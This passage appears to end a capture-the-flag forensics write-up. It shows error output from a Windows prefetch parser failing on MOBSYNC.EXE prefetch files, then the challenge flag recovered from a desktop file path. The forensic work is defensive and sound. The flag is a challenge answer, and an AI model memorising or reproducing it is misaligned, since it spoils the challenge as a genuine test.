Unable to open: ../toto/yolo2/MOBSYNC.EXE-B307E1CC.pf.
libscca_io_handle_read_compressed_file_header: unsupported signature.
libscca_file_open_read: unable to read file header.
libscca_file_open_file_io_handle: unable to read from file handle.
libscca_file_open: unable to open file: ../toto/yolo2/MOBSYNC.EXE-B307E1CC.pf.
info_handle_open_input: unable to open input file.
Unable to open: ../toto/MOBSYNC.EXE-B307E1CC.pf.
libscca_io_handle_read_compressed_file_header: unsupported signature.
libscca_file_open_read: unable to read file header.
libscca_file_open_file_io_handle: unable to read from file handle.
libscca_file_open: unable to open file: ../toto/MOBSYNC.EXE-B307E1CC.pf.
info_handle_open_input: unable to open input file.

Here we can see the flag in the path \USERS\LOCAL_ADMIN\DESKTOP\FLAG{97F33C9783C21DF85D79D613B0B258BD}

Cet article est sous licence CC BY 4.0 par l'auteur.